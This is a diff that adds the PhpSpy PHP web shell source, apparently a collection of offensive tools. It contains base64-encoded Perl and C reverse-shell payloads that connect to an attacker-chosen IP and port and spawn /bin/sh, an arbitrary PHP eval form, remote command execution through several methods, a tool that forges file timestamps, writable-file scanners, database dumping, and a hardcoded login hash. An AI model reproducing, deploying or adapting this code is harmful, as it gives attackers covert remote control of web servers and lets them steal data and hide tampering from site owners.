"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + + if ($start && $yourip && $yourport && $use){ + if ($use == 'perl') { + cf('/tmp/angel_bc',$back_connect); + $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); + } else { + cf('/tmp/angel_bc.c',$back_connect_c); + $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/angel_bc.c'); + $res = execute("/tmp/angel_bc $yourip $yourport &"); + } + m("Now script try connect to $yourip port $yourport ..."); + } + + formhead(array('title'=>'Back Connect')); + makehide('action','backconnect'); + p('

'); + p('Your IP:'); + makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); + p('Your Port:'); + makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); + p('Use:'); + makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); + makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +}//end sql backup + +elseif ($action == 'eval') { + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode'Eval PHP Code')); + makehide('action','eval'); + maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); + p('

Get plugins

'); + formfooter(); +}//end eval + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); + + goback(); + +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('

Instead »'); + p('year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('

'); + formfooter(); + goback(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p('

'); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p('

'); + makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($command) { + p('
');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
'); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p(''); + } +}//end phpenv + +else { + m('Undefined Action'); +} + +?> + +
+ + Copyright (C) 2004-2009 Security Angel Team [S4T] All Rights Reserved. +
+ + + +'; + echo $msg; + echo ''; +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $admin, $timestamp, $_SERVER; + $key = ($prefix ? $admin['cookiepre'] : '').$key; + $life = $life ? $life : $admin['cookielife']; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport); +} +function multi($num, $perpage, $curpage, $tablename) { + $multipage = ''; + if($num > $perpage) { + $page = 10; + $offset = 5; + $pages = @ceil($num / $perpage); + if($page > $pages) { + $from = 1; + $to = $pages; + } else { + $from = $curpage - $offset; + $to = $curpage + $page - $offset - 1; + if($from < 1) { + $to = $curpage + 1 - $from; + $from = 1; + if(($to - $from) < $page && ($to - $from) < $pages) { + $to = $page; + } + } elseif($to > $pages) { + $from = $curpage - $pages + $to; + $to = $pages; + if(($to - $from) < $page && ($to - $from) < $pages) { + $from = $pages - $page + 1; + } + } + } + $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); + for($i = $from; $i <= $to; $i++) { + $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] '; + } + $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); + $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; + } + return $multipage; +} +// µÇ½Èë¿Ú +function loginpage() { +?> + + + Password: + + + +Can not connect to MySQL server'); + exit; + } + if($link && $dbname) { + if (!@mysql_select_db($dbname, $link)) { + p('

Database selected has error

'); + exit; + } + } + if($link && mysql_get_server_info() > '4.1') { + if(in_array(strtolower($charset), $charsetdb)) { + q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); + } + } + return $link; +} + +//Á¬½ÓMSSQLÊý¾Ý¿â +function msdbconn($dbhost,$dbuser,$dbpass,$dbname='') { + global $alreadymssql; + @ini_set('mssql.charset', 'UTF-8'); + @ini_set('mssql.textlimit', 2147483647); + @ini_set('mssql.textsize', 2147483647); + $alreadymssql = 1; + if(!$link = @mssql_connect($dbhost, $dbuser, $dbpass, false)) { + p('

'.msmsg().'

'); + $alreadymssql = 0; + exit; + } + if($link && $dbname) { + if (!@mssql_select_db($dbname, $link)) { + p('

'.msmsg().'

'); + $alreadymssql = 0; + exit; + } + } + return $link; +} + +// È¥µôתÒå×Ö·û +function s_array(&$array) { + if (is_array($array)) { + foreach ($array as $k => $v) { + $array[$k] = s_array($v); + } + } else if (is_string($array)) { + $array = stripslashes($array); + } + return $array; +} + +// Çå³ýHTML´úÂë +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// »ñȡȨÏÞ +function getChmod($filepath){ + return substr(base_convert(@fileperms($filepath),10,8),-4); +} + +function getPerms($filepath) { + $mode = @fileperms($filepath); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($filepath) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($filepath)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +// ɾ³ýĿ¼ +function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } + if (is_file($deldir.'/'.$file)) { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + $mydir->close(); + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; +} + +// ±í¸ñÐмäµÄ±³¾°É«Ìæ»» +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +// »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ +function getPath($scriptpath, $nowpath) { + if ($nowpath == '.') { + $nowpath = $scriptpath; + } + $nowpath = str_replace('\\', '/', $nowpath); + $nowpath = str_replace('//', '/', $nowpath); + if (substr($nowpath, -1) != '/') { + $nowpath = $nowpath.'/'; + } + return $nowpath; +} + +// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ +function getUpPath($nowpath) { + $pathdb = explode('/', $nowpath); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// ¼ì²éPHPÅäÖòÎÊý +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// ¼ì²éº¯ÊýÇé¿ö +function getfun($funName) { + return (false !== function_exists($funName)) ? 'Yes' : 'No'; +} + +// »ñµÃÎļþÀ©Õ¹Ãû +function getextension($filename) { + $pathinfo = pathinfo($filename); + return $pathinfo['extension']; +} + +function GetWDirList($dir){ + global $dirdata,$j,$nowpath; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']=str_replace($nowpath,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['dirchmod']=getChmod($f); + $dirdata[$j]['dirperm']=getPerms($f); + $dirdata[$j]['dirlink']=ue($dir); + $dirdata[$j]['server_link']=$f; + $dirdata[$j]['client_link']=ue($f); + $j++; + } + GetWDirList($f); + } + } + closedir($dh); + clearstatcache(); + return $dirdata; + } else { + return array(); + } +} + +function GetWFileList($dir){ + global $filedata,$j,$nowpath, $writabledb; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getextension($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetWFileList($f); + } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ + if (is_writable($f)) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $filedata[$j]['client_link']=ue($f); + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function GetSFileList($dir, $content, $re = 0) { + global $filedata,$j,$nowpath, $writabledb; + !$j && $j=1; + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + $ext = getextension($file); + $f=str_replace('//','/',$dir.'/'.$file); + if($file!='.' && $file!='..' && is_dir($f)){ + GetSFileList($f, $content, $re = 0); + } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ + $find = 0; + if ($re) { + if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){ + $find = 1; + } + } else { + if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) { + $find = 1; + } + } + if ($find) { + $filedata[$j]['filename']=str_replace($nowpath,'',$f); + $filedata[$j]['size']=sizecount(@filesize($f)); + $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $filedata[$j]['filechmod']=getChmod($f); + $filedata[$j]['fileperm']=getPerms($f); + $filedata[$j]['fileowner']=getUser($f); + $filedata[$j]['dirlink']=$dir; + $filedata[$j]['server_link']=$f; + $filedata[$j]['client_link']=ue($f); + $j++; + } + } + } + closedir($dh); + clearstatcache(); + return $filedata; + } else { + return array(); + } +} + +function qy($sql) { + //echo $sql.'
'; + $res = $error = ''; + if(!$res = @mysql_query($sql)) { + return 0; + } else if(is_resource($res)) { + return 1; + } else { + return 2; + } + return 0; +} + +function q($sql) { + return @mysql_query($sql); +} + +function fr($qy){ + mysql_free_result($qy); +} + +//mssql +function msq($sql) { + return @mssql_query($sql); +} + +function msfr($qy){ + mssql_free_result($qy); +} + +function msmsg(){ + return mssql_get_last_message(); +} + +function msqy($sql) { + //echo $sql.'
'; + $res = $error = ''; + if(!$res = @mssql_query($sql)) { + return 0; + } else if(is_resource($res)) { + return 1; + } else { + return 2; + } + return 0; +} + +function sizecount($size) { + if($size > 1073741824) { + $size = round($size / 1073741824 * 100) / 100 . ' G'; + } elseif($size > 1048576) { + $size = round($size / 1048576 * 100) / 100 . ' M'; + } elseif($size > 1024) { + $size = round($size / 1024 * 100) / 100 . ' K'; + } else { + $size = $size . ' B'; + } + return $size; +} + +// ѹËõ´ò°üÀà +class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//ÎļþÁбí + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, 'r'); + $content = @fread ($fd, filesize($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + // »ñµÃÖ¸¶¨Ä¿Â¼ÎļþÁбí + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while ($file = readdir($dh)) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; + } +} + +// ±¸·ÝÊý¾Ý¿â +function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = q("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + fr($fields); + + $keys = q("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" && $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + fr($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = q("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + fr($rows); + if ($fp) { + fwrite($fp,"\n"); + } else { + echo "\n"; + } +} + +function ue($str){ + return urlencode($str); +} + +function p($str){ + echo $str."\n"; +} + +function tbhead() { + p(''); +} +function tbfoot(){ + p('
'); +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; + !$arg['type'] && $arg['type'] = 'text'; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; + if ($arg['newline']) { + p("

$arg[title]

"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p('

'); + p("$arg[title] "); + if ($arg['newline']) p('

'); +} +function formhead($arg = array()) { + global $self; + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("
"); + if ($arg['title']) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + !$arg['cols'] && $arg['cols'] = 100; + !$arg['rows'] && $arg['rows'] = 25; + $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function goback(){ + global $self, $nowpath; + p('

'); +} + +function formfoot(){ + p(''); +} + +// µ÷ÊÔº¯Êý +function pr($a) { + echo '
';
+	print_r($a);
+	echo '
'; +} + +?> \ No newline at end of file diff --git a/php/phpspy/2011.php b/php/phpspy/2011.php new file mode 100644 index 0000000..d259138 --- /dev/null +++ b/php/phpspy/2011.php @@ -0,0 +1,2141 @@ + $value) { + if (IS_GPC) { + $value = s_array($value); + } + $$key = $value; +} +/*===================== ³ÌÐòÅäÖà =====================*/ + +//echo encode_pass('angel');exit; + +// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë,Áô¿ÕΪ²»ÐèÒªÑéÖ¤ +$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel + +//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ +// cookie ǰ׺ +$cookiepre = ''; +// cookie ×÷ÓÃÓò +$cookiedomain = ''; +// cookie ×÷Ó÷¾¶ +$cookiepath = '/'; +// cookie ÓÐЧÆÚ +$cookielife = 86400; + +//³ÌÐòËÑË÷¿ÉдÎļþµÄÀàÐÍ +!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; +/*===================== ÅäÖýáÊø =====================*/ + +$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'); +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} elseif ($charset == 'euc-kr') { + header("content-Type: text/html; charset=euc-kr"); +} elseif ($charset == 'euc-jp') { + header("content-Type: text/html; charset=euc-jp"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== Éí·ÝÑéÖ¤ =====================*/ +if ($action == "logout") { + scookie('loginpass', '', -86400 * 365); + @header('Location: '.$self); + exit; +} +if($pass) { + if ($action == 'login') { + if ($pass == encode_pass($password)) { + 